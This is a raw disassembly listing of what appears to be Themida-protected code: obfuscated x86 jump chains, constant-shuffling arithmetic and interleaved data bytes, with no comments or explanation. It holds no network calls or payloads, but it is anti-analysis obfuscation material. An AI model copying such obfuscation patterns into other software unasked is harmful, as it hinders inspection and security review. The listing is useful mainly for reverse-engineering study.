loc_5AB762:				; CODE XREF: Themida_:005A993Cj
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 1EC70CAAh
		sub	eax, ebx
		jmp	loc_5A7DEB
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 28BF6856h, 24890000h, 4BD5524h, 1000000h,	5D04246Ch
		dd 0FEE537E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB791:				; CODE XREF: Themida_:005ABE32j
		mov	edx, 4
		jmp	loc_5A688E
; ---------------------------------------------------------------------------


loc_5AB79B:				; CODE XREF: Themida_:00599CF8j
		shr	edx, 6
		jmp	loc_5ABEC3
; ---------------------------------------------------------------------------


loc_5AB7A3:				; CODE XREF: Themida_:005A06DEj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A4898
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 8B24048Fh, 0C1E92424h, 81FFFECBh,	84D652F3h
		dd 8BDD899Ch, 0C483241Ch, 3A05E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AB7DE:				; CODE XREF: Themida_:005AE2E8j
		pop	esp
		mov	[esp], ebx
		push	edi
		push	20A32C03h
		jmp	loc_59DF7B
; ---------------------------------------------------------------------------
aMrB		db '¬R²‘',0
		dw 5AD0h
		dd 8904EC83h, 9DB3241Ch, 2C5BD800h, 4D82823h, 2686623h
		dd 0C89667Dh, 0E4EBE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AB812:				; CODE XREF: Themida_:005A2956j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A75E2
; ---------------------------------------------------------------------------


loc_5AB820:				; CODE XREF: Themida_:005A1F6Cj
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	7219h
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		push	8E3h
		mov	[esp], ebx
		push	12A27447h
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5AE946
; ---------------------------------------------------------------------------
		dd 24048B66h, 722C68h, 241C8900h, 5E6468h, 4EC8100h, 54000000h
		dd 0E924048Fh, 0FFFFF5A1h
; ---------------------------------------------------------------------------


loc_5AB874:				; CODE XREF: Themida_:00598597j
		add	esp, 4
		xor	cl, 21h
		sub	cl, 5Ah
		push	ebx
		mov	bl, 0EDh
		push	eax
		mov	al, 95h
		xor	al, 0ADh
		neg	al
		sub	al, 49h
		xor	bl, al
		jmp	loc_59A5AC
; ---------------------------------------------------------------------------
		dd 4BFh, 8BFA0100h, 0C481243Ch,	4, 8B241487h, 30FF2424h
		dd 0FECFF0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AB8AD:				; CODE XREF: Themida_:005A440Ej
		push	4C19h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59AB9F
; ---------------------------------------------------------------------------


loc_5AB8C4:				; CODE XREF: Themida_:00598DEEj
					; Themida_:005AD4CDj
		push	esi
		push	0FFFh
		mov	[esp], edx
		jmp	loc_5A2C0A
; ---------------------------------------------------------------------------


loc_5AB8D2:				; CODE XREF: Themida_:005A7388j
		sub	ebx, 5F967DA5h
		mov	edi, ebx
		pop	ebx
		push	ecx
		jmp	loc_5A6F62
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 1Ch
		dd 0F8FCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB8EA:				; CODE XREF: Themida_:0059DF69j
		push	esp
		jmp	loc_5A6549
; ---------------------------------------------------------------------------


loc_5AB8F0:				; CODE XREF: Themida_:005A0476j
		sub	edx, 48CF1EB6h
		sub	edx, ebx
		add	edx, 48CF1EB6h
		jmp	loc_5A3389
; ---------------------------------------------------------------------------


loc_5AB903:				; CODE XREF: Themida_:005AABAEj
		shl	ch, 7
		shl	ch, 3
		and	ch, 0D6h
		add	ch, 1
		jmp	loc_59F5FC
; ---------------------------------------------------------------------------


loc_5AB914:				; CODE XREF: Themida_:0059CD4Aj
		push	ebp
		push	2F60h
		jmp	loc_5AEB68
; ---------------------------------------------------------------------------


loc_5AB91F:				; CODE XREF: Themida_:00599E5Cj
		jz	loc_5A2828
		push	ecx
		mov	ecx, 54AD5F2Fh
		inc	ecx
		xor	ecx, 7EC40FF6h
		sub	edi, ecx
		pop	ecx
		add	edi, 25826B34h
		mov	edx, edi
		pop	edi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0B674FB8h
		or	edx, 262F7ABCh
		or	edx, 6FDA4C9Dh
		xor	edx, 6763E36Ch
		jmp	loc_5A4ADD
; ---------------------------------------------------------------------------


loc_5AB966:				; CODE XREF: Themida_:0059F755j
					; Themida_:005AA1C0j
		xor	edx, 7503011Bh
		jz	loc_59B5DD
		jmp	loc_5AC861
; ---------------------------------------------------------------------------


loc_5AB977:				; CODE XREF: Themida_:005AD5D5j
		push	edi
		mov	edi, 4AD8628Bh
		add	ebp, edi
		jmp	loc_5A7799
; ---------------------------------------------------------------------------
		dd 0BB92D805h, 6A8CE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AB98E:				; CODE XREF: Themida_:005A8319j
		xchg	ecx, [esp]
		jmp	loc_5A475B
; ---------------------------------------------------------------------------


loc_5AB996:				; CODE XREF: Themida_:005A6B2Ej
		add	esp, 4
		pop	ebx
		push	ecx
		mov	ecx, 2C477FDAh
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5ADADF
; ---------------------------------------------------------------------------


loc_5AB9B0:				; CODE XREF: Themida_:005A62BCj
		mov	edi, eax
		pop	eax
		shr	edi, 8
		inc	edi
		neg	edi
		push	esi
		mov	esi, 34392363h
		and	esi, 4CB42418h
		and	esi, 5AA03593h
		sub	esi, 590A56AEh
		jmp	loc_5A8948
; ---------------------------------------------------------------------------


loc_5AB9D6:				; CODE XREF: Themida_:005A5D5Aj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_5AB9E2:				; CODE XREF: Themida_:0059F8ECj
		shl	esi, 1
		or	esi, 4FFE345Eh
		add	esi, 0B0014AA6h
		add	ebp, 240C01FFh
		jmp	loc_59E9D5
; ---------------------------------------------------------------------------


loc_5AB9FB:				; CODE XREF: Themida_:005A066Ej
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_59CEF9
; ---------------------------------------------------------------------------
		db 88h,	0D7h, 88h
		dd 885A5BFDh, 0FDCEE9EEh, 0C481FFFEh, 4, 55CFEB81h, 0ADE94AF2h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABA27:				; CODE XREF: Themida_:005AD9DFj
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	edi, 0C883FC3Bh
		push	edi
		push	eax
		mov	eax, 600424D3h
		add	[esp+4], eax
		jmp	loc_5AEACA
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0ECA7E904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ABA62:				; CODE XREF: Themida_:005A5593j
					; Themida_:005A8051j
		or	ebp, 0AA54ADCh
		and	ebp, 6BD0152Bh
		xor	ebp, 4BD97601h
		add	ecx, ebp
		pop	ebp
		add	edi, 0D5F2FE7h
		jmp	loc_59A16B
; ---------------------------------------------------------------------------


loc_5ABA82:				; CODE XREF: Themida_:005A7265j
		push	esi
		mov	esi, 433562F4h
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_5AB411
; ---------------------------------------------------------------------------


loc_5ABA95:				; CODE XREF: Themida_:005A7FF4j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_59C7B8
; ---------------------------------------------------------------------------


loc_5ABAA8:				; CODE XREF: Themida_:005A9159j
		mov	cl, 81h
		push	ebx
		push	edx
		push	ecx
		mov	cl, 0ABh
		jmp	loc_59D0AA
; ---------------------------------------------------------------------------


loc_5ABAB4:				; CODE XREF: Themida_:0059D889j
		and	edx, 36137A5Eh
		and	edx, 3FDA6013h
		jmp	loc_5A2D95
; ---------------------------------------------------------------------------
		db 68h,	0A4h, 0Dh
		dd 815D18B2h, 644E11CDh, 9F860F4Eh, 81FFFECFh, 31413CE5h
		dd 86E5811Ah, 815DE04Dh, 0F5C4B2EDh, 5DEE8910h,	7C4EEE81h
		dd 0F501072Ah, 35EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_5ABAF9:				; CODE XREF: Themida_:005A5272j
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABB01:				; CODE XREF: Themida_:005A7FBFj
		mov	esi, [esp]
		jmp	loc_5A2110
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF9BFDE9h, 8D55E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABB16:				; CODE XREF: Themida_:005A5253j
		xor	al, 25h
		jmp	loc_5A6060
; ---------------------------------------------------------------------------
aBusv?		db 'ξS’?',0
		db 2Dh
		dd 0DEC74BAh, 0BA05F001h, 0FF0DEC74h, 0FEE92434h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABB37:				; CODE XREF: Themida_:005A4D34j
		pop	edx
		jmp	loc_59B51D
; ---------------------------------------------------------------------------


loc_5ABB3D:				; CODE XREF: Themida_:005A63F5j
		and	edi, 15FD699Ch
		xor	edi, 74F571ACh
		sub	edi, 0F6D12C0h
		xor	edi, 2104665Fh
		jmp	loc_5AE327
; ---------------------------------------------------------------------------


loc_5ABB5A:				; CODE XREF: Themida_:005A35C2j
		sub	ebx, 57A30324h
		and	ebx, 14355E2Fh
		or	ebx, 61CB6B7Eh
		dec	ebx
		jmp	loc_59EEE5
; ---------------------------------------------------------------------------


loc_5ABB72:				; CODE XREF: Themida_:0059E5EAj
		neg	ch
		push	edx
		mov	dl, ch
		jmp	loc_5A9D4F
; ---------------------------------------------------------------------------


loc_5ABB7C:				; CODE XREF: Themida_:005A3BF5j
		xor	dh, ch
		pop	ecx
		mov	bl, dh
		pop	edx
		sub	bl, 78h
		add	bl, ah
		push	dx
		mov	dh, 78h
		sub	bl, 7
		add	bl, dh
		jmp	loc_5A6550
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 4C010000h, 0CAE90424h, 0D2FFFFA6h, 0E99C242Ch, 0FFFFD7CEh
; ---------------------------------------------------------------------------


loc_5ABBAC:				; CODE XREF: Themida_:00599124j
					; Themida_:005AB44Aj
		sub	ecx, 31077A65h
		add	ecx, ebp
		add	ecx, 31077A65h
		jmp	loc_59D66A
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C581h, 0ED830000h, 242C8704h, 2414895Ch, 212954BAh
		dd 0FDAF736h, 0FFA9FC88h, 8F0F42FFh, 0FFFF4E31h, 2BBC281h
		db 0D0h, 56h, 51h
; ---------------------------------------------------------------------------


loc_5ABBEB:				; CODE XREF: Themida_:005A1257j
		inc	ch
		jnp	loc_59CF0B
		jmp	loc_5A3D56
; ---------------------------------------------------------------------------
		dd 0FF0636E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ABBFD:				; CODE XREF: Themida_:0059CD2Bj
					; Themida_:005A2AA9j
		mov	esi, 5D7F5D71h
		push	ebp
		push	eax
		push	3CE84A06h
		pop	eax
		neg	eax
		jnb	loc_5A3D92
		add	eax, 42955775h
		mov	ebp, eax
		jmp	loc_5A7EDF
; ---------------------------------------------------------------------------


loc_5ABC1E:				; CODE XREF: Themida_:005AAF2Fj
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		sub	ebp, 68016A0Ch
		sub	ebp, 5CA5680Bh
		jmp	loc_59F340
; ---------------------------------------------------------------------------
		dd 7630BDh, 1F282D5Ch, 572D0B9Eh, 10BB93Eh, 3E5705E8h
		dd 28050BB9h, 0E90B9E1Fh, 3909h
; ---------------------------------------------------------------------------


loc_5ABC68:				; CODE XREF: Themida_:0059EB02j
		xor	esi, 0E7825D5h
		mov	edx, esi
		jmp	loc_59F859
; ---------------------------------------------------------------------------


loc_5ABC75:				; CODE XREF: Themida_:005A593Fj
		mov	[esp], ebx
		jmp	loc_5994BC
; ---------------------------------------------------------------------------


loc_5ABC7D:				; CODE XREF: Themida_:0059F175j
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AB546
; ---------------------------------------------------------------------------


loc_5ABC8B:				; CODE XREF: Themida_:00599B78j
		neg	cl
		and	cl, 45h
		jns	loc_5AE959
		jmp	loc_5A0EB8
; ---------------------------------------------------------------------------
		db 29h
		dd 0DB93E9D8h, 8153FFFEh, 0DA341FC6h, 73866813h, 1C890000h
		dd 1C8B5424h, 0E1895124h, 4C181h, 0C1830000h, 6FDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABCC6:				; CODE XREF: Themida_:005ADDC7j
		mov	cx, 6C00h
		add	cx, 525Eh
		add	cx, 0FFFFh
		not	cx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 390A01EBh
		and	eax, 17DC5829h
		shl	eax, 5
		neg	eax
		and	eax, 318B3FE2h
		sub	eax, 108B3ADCh
		jmp	loc_59E92B
; ---------------------------------------------------------------------------
		dw 1489h
		dd 1E99E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5ABD06:				; CODE XREF: Themida_:0059EEC5j
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_59D026
; ---------------------------------------------------------------------------


loc_5ABD11:				; CODE XREF: Themida_:005A1CEFj
		mov	[esp], esi
		mov	esi, 170A1E07h
		add	eax, 0F7E7A68h
		sub	eax, esi
		push	ecx
		mov	ecx, 7DEE1956h
		or	ecx, 78376B4h
		add	ecx, 8F8EFA72h
		add	eax, 2E8A5AE4h
		sub	eax, ecx
		jmp	loc_5A0B38
; ---------------------------------------------------------------------------
		dw 49E9h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ABD43:				; CODE XREF: Themida_:005AB5F7j
		pop	esp
		jmp	loc_5A483A
; ---------------------------------------------------------------------------


loc_5ABD49:				; CODE XREF: Themida_:0059F183j
		mov	[esp], edx
		push	2F48h
		mov	[esp], esp
		jmp	loc_5A8B7A
; ---------------------------------------------------------------------------


loc_5ABD59:				; CODE XREF: Themida_:005A257Ej
		mov	ecx, edx
		pop	edx
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------
		db 0ACh, 81h, 0ECh
		dd 4, 50240C89h, 0C156E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABD72:				; CODE XREF: Themida_:005A9F1Fj
		add	ebx, 6A5B14DBh
		jmp	loc_5A7751
; ---------------------------------------------------------------------------


loc_5ABD7D:				; CODE XREF: Themida_:0059C67Cj
		xor	cl, 76h
		and	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5ACB84
; ---------------------------------------------------------------------------


loc_5ABD91:				; CODE XREF: Themida_:005A8F98j
		add	ebx, esi
		jmp	loc_5ACA1E
; ---------------------------------------------------------------------------


loc_5ABD98:				; CODE XREF: Themida_:005AD97Aj
		not	esi
		not	esi
		jmp	loc_5A67D4
; ---------------------------------------------------------------------------


loc_5ABDA1:				; CODE XREF: Themida_:005A08D5j
		pop	ecx
		push	ecx
		push	72860BF7h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A5A2A
; ---------------------------------------------------------------------------


loc_5ABDB3:				; CODE XREF: Themida_:005A23F0j
		push	edi
		jmp	loc_5A8D7A
; ---------------------------------------------------------------------------


loc_5ABDB9:				; CODE XREF: Themida_:00599193j
		jmp	loc_59B41F
; ---------------------------------------------------------------------------


loc_5ABDBE:				; CODE XREF: Themida_:005AC893j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	57DFh
		mov	[esp], esi
		mov	esi, 2A1F0BF6h
		push	ecx
		mov	ecx, 551A6F26h
		jmp	loc_5A79D3
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FF325C8Bh, 38E947FFh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ABDEB:				; CODE XREF: Themida_:005A2B6Bj
		mov	[esp], edx
		mov	edx, 4
		push	esi
		jmp	loc_59AC46
; ---------------------------------------------------------------------------
		db 56h,	55h, 0E9h
		dd 0FFFFFCC5h
; ---------------------------------------------------------------------------


loc_5ABE00:				; CODE XREF: Themida_:005ACB5Cj
		pop	eax
		jmp	loc_5A1926
; ---------------------------------------------------------------------------


loc_5ABE06:				; CODE XREF: Themida_:00599E3Aj
		sub	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5ABE0F:				; CODE XREF: Themida_:0059F7D4j
		mov	esi, [esp]
		jmp	loc_5985C8
; ---------------------------------------------------------------------------


loc_5ABE17:				; CODE XREF: Themida_:005A9D80j
					; Themida_:005AA190j
		sub	eax, edi
		pop	edi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	edx
		jmp	loc_5AB791
; ---------------------------------------------------------------------------


loc_5ABE37:				; CODE XREF: Themida_:005A4721j
		push	esi
		mov	esi, 45594DF4h
		push	edi
		mov	edi, 1FFF67B2h
		xor	edi, 5C674848h
		jmp	loc_5AE0E8
; ---------------------------------------------------------------------------


loc_5ABE4E:				; CODE XREF: Themida_:005A10C1j
		add	edi, esi
		pop	esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59DE5D
; ---------------------------------------------------------------------------


loc_5ABE71:				; CODE XREF: Themida_:0059C295j
		mov	[esp], ebp
		mov	ebp, 70AE3248h
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebp, 3C585722h
		add	ebp, edi
		add	ebp, 3C585722h
		pop	edi
		add	ebp, 7C12003Ch
		jmp	loc_5A904D
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0BF570000h, 6A6A7D3Fh, 82C5C781h, 0ADE99595h
		dd 5BFFFFD4h, 0B252C828h, 0AEC280F9h, 1E9152Ch
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ABEC3:				; CODE XREF: Themida_:005AB79Ej
		sub	edx, offset byte_4024FE
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4B7B6DE6h
		jmp	loc_5996FE
; ---------------------------------------------------------------------------
		db 58h
		dd 0FEF110E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ABEE5:				; CODE XREF: Themida_:005AB4A0j
		and	edi, 2882D0Fh
		dec	edi
		shr	edi, 2
		shl	edi, 3
		sub	edi, 1F68E810h
		sub	ebp, edi
		jmp	loc_5A19E7
; ---------------------------------------------------------------------------


loc_5ABEFF:				; CODE XREF: Themida_:0059A6CCj
		shr	eax, 7
		jmp	loc_5988F7
; ---------------------------------------------------------------------------


loc_5ABF07:				; CODE XREF: Themida_:005A7D59j
		add	edi, 4
		jmp	loc_5AA878
; ---------------------------------------------------------------------------


loc_5ABF12:				; CODE XREF: Themida_:005A9173j
		xor	ebp, 735A1F23h
		mov	ecx, ebp
		pop	ebp
		add	ecx, esi
		jmp	loc_59B125
; ---------------------------------------------------------------------------


loc_5ABF22:				; CODE XREF: Themida_:005A2CF7j
		pop	edi
		sub	ebx, esi
		push	esi
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------


loc_5ABF2B:				; CODE XREF: Themida_:0059E5A3j
		pop	ebp
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dw 0E735h
		dd 0D47AA0Ch, 14282CDDh, 8A008A0Fh, 9E2DFFFFh, 0F0FD812h
		dd 0FF50278Fh, 538535FFh, 0C7891B8Ah
		db 58h,	0D1h, 0E7h
; ---------------------------------------------------------------------------


loc_5ABF6F:				; CODE XREF: Themida_:loc_5A97A0j
		shl	ah, 3
		shl	ah, 5
		jmp	loc_5A8E0B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E92434FFh, 0FFFEDDF6h, 5C241487h, 0E38B951h
		dd 0CE0136BAh, 0FFCF9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ABF99:				; CODE XREF: Themida_:0059F2BEj
		push	ebp
		push	1E2Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, 33985F51h
		add	ebp, eax
		jmp	loc_5AE0D8
; ---------------------------------------------------------------------------


loc_5ABFCB:				; CODE XREF: Themida_:00598518j
					; Themida_:005ADC97j
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 49AD12D1h
		jmp	loc_5A855B
; ---------------------------------------------------------------------------


loc_5ABFDC:				; CODE XREF: Themida_:005A138Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59B9CD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0AECAE924h, 8166FFFFh, 66B194F6h, 34FFF089h,	4785E924h
		dd 0D868FFFFh, 89000051h, 7EE9242Ch
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC00B:				; CODE XREF: Themida_:005A3066j
		sub	ecx, 0E789D579h
		add	edx, ecx
		jmp	loc_5A4204
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 1B686624h, 1C89661Ch, 5242B724h
		dd 4EC81h, 0C890000h, 1332E924h, 0C689FFFFh, 6DEAE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC042:				; CODE XREF: Themida_:005A65D4j
		mov	eax, 0C92A7068h
		push	ebx
		mov	ebx, 34BA0E74h
		neg	ebx
		and	ebx, 1A613638h
		shl	ebx, 3
		inc	ebx
		jmp	loc_5ACA39
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 29380598h, 738CBE56h, 0F3017907h, 0E9F3015Eh, 86Bh
; ---------------------------------------------------------------------------


loc_5AC074:				; CODE XREF: Themida_:005A3182j
		push	edx
		pop	ebx
		pop	edx
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		jmp	loc_5A1765
; ---------------------------------------------------------------------------


loc_5AC082:				; CODE XREF: Themida_:005A9AA0j
		mov	esi, esp
		jmp	loc_5A89A4
; ---------------------------------------------------------------------------


loc_5AC089:				; CODE XREF: Themida_:0059843Dj
		add	eax, 3B441546h
		pop	esi
		jmp	loc_5A007C
; ---------------------------------------------------------------------------
		dd 0ACE9595Bh, 0B9FFFF9Ah, 595D2EF9h, 8159CD09h, 0F4627EEDh
		dd 0A307E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC0AE:				; CODE XREF: Themida_:0059F1C6j
		push	dword ptr [esp]
		jmp	loc_5A3C7D
; ---------------------------------------------------------------------------


loc_5AC0B6:				; CODE XREF: Themida_:005A1AC1j
		add	edx, eax
		pop	eax
		jmp	loc_59CEA7
; ---------------------------------------------------------------------------


loc_5AC0BE:				; CODE XREF: Themida_:00598E79j
		add	esp, 4
		xor	dl, 0ACh
		jmp	loc_59A28D
; ---------------------------------------------------------------------------


loc_5AC0C9:				; CODE XREF: Themida_:0059BE4Aj
		add	edi, 6B776DF9h
		add	ebp, edi
		pop	edi
		jmp	loc_5AE2ED
; ---------------------------------------------------------------------------
		db 89h
		dd 0E189240Ch, 4BF57h, 78E90000h
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC0E7:				; CODE XREF: Themida_:0059B0D0j
		sub	esi, 69207AA1h
		xor	ebx, esi
		jmp	loc_5A1040
; ---------------------------------------------------------------------------


loc_5AC0F4:				; CODE XREF: Themida_:005998A5j
		shl	ah, 7
		jmp	loc_5A6D4B
; ---------------------------------------------------------------------------


loc_5AC0FC:				; CODE XREF: Themida_:005A5EFAj
		sub	bl, dh
		add	bl, 0F3h
		jmp	loc_5A99F9
; ---------------------------------------------------------------------------


loc_5AC106:				; CODE XREF: Themida_:0059BA1Aj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_59BB1F
; ---------------------------------------------------------------------------


loc_5AC117:				; CODE XREF: Themida_:005ACF30j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5AC125:				; CODE XREF: Themida_:005A2675j
		or	esi, 1F694CE8h
		shl	esi, 6
		add	esi, 194E3439h
		sub	ecx, esi
		pop	esi
		jmp	loc_5AD310
; ---------------------------------------------------------------------------
		dd 376302BAh, 0EAC14A71h, 53E94202h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5AC14B:				; CODE XREF: Themida_:loc_5A3F60j
		xor	eax, 384D5E7Eh
		mov	ecx, eax
		pop	eax
		push	edi
		mov	edi, 29554CB9h
		add	edi, 0FFFFFFFFh
		shr	edi, 7
		shl	edi, 1
		sub	edi, 0A378561Eh
		add	ecx, edi
		pop	edi
		jmp	loc_5A070E
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8B240487h, 515D2424h, 0E9E28952h, 0FFFF3555h, 0C2815A54h
		dd 4, 8704C283h, 505C2414h, 0FFA9F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC195:				; CODE XREF: Themida_:0059AB16j
		inc	esi
		sub	esi, 0E004D94Ah
		add	edi, esi
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	edi, 4
		jmp	loc_59FB43
; ---------------------------------------------------------------------------


loc_5AC1B1:				; CODE XREF: Themida_:00598906j
					; Themida_:0059BF2Dj
		mov	edx, 0CC392AB7h
		add	ebp, edx
		pop	edx
		xor	ebx, ebp
		pop	ebp
		push	ebx
		jmp	loc_5AC61C
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 9D93421h, 0FFE5A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC1CD:				; CODE XREF: Themida_:0059A3AAj
		inc	ebp
		sub	ebp, 0A64CA938h
		xor	edx, ebp
		pop	ebp
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	4
		mov	ecx, [esp]
		push	ecx
		jmp	loc_5AEFAF
; ---------------------------------------------------------------------------


loc_5AC1F3:				; CODE XREF: Themida_:005ACA98j
		push	460D33D0h
		jmp	loc_5AD411
; ---------------------------------------------------------------------------


loc_5AC1FD:				; CODE XREF: Themida_:005A1C2Fj
		shl	ebp, 2
		inc	ebp
		shl	ebp, 2
		jmp	loc_5A4D27
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 3Ch
		dd 8B5F5124h, 8950240Ch, 4DDAE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC21A:				; CODE XREF: Themida_:005A7057j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 51000000h,	7A12C368h, 9F0FE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC242:				; CODE XREF: Themida_:005A5E0Ej
		jmp	loc_5AD92A
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9042474h, 0FFFF8F20h
; ---------------------------------------------------------------------------


loc_5AC250:				; CODE XREF: Themida_:005AF136j
		push	eax
		push	371F187Fh
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 7F25F78h
		jg	loc_5AAF7D
		jmp	loc_5AEAF5
; ---------------------------------------------------------------------------
		db 58h
		dd 0FEEFE8E9h
		db 0FFh, 8Ah, 0CCh
; ---------------------------------------------------------------------------


loc_5AC277:				; CODE XREF: Themida_:0059B09Aj
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5AF1FD
; ---------------------------------------------------------------------------
		db 52h
		dd 0A5344BBAh, 14F7522Eh, 0EA815A24h, 0FFFFFFFFh, 7CE8C281h
		dd 0E953072Dh, 0FFFF329Dh
; ---------------------------------------------------------------------------


loc_5AC2A4:				; CODE XREF: Themida_:0059EE65j
		jnp	loc_5AC66C
		jmp	loc_5A0A05
; ---------------------------------------------------------------------------


loc_5AC2AF:				; CODE XREF: Themida_:0059A888j
		pop	ecx
		jmp	loc_5ADB6C
; ---------------------------------------------------------------------------


loc_5AC2B5:				; CODE XREF: Themida_:00599EA6j
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5A4241
; ---------------------------------------------------------------------------


loc_5AC2E2:				; CODE XREF: Themida_:005A6CE9j
		sub	ebx, ecx
		pop	ecx
		pop	esi
		jmp	loc_59AF6A
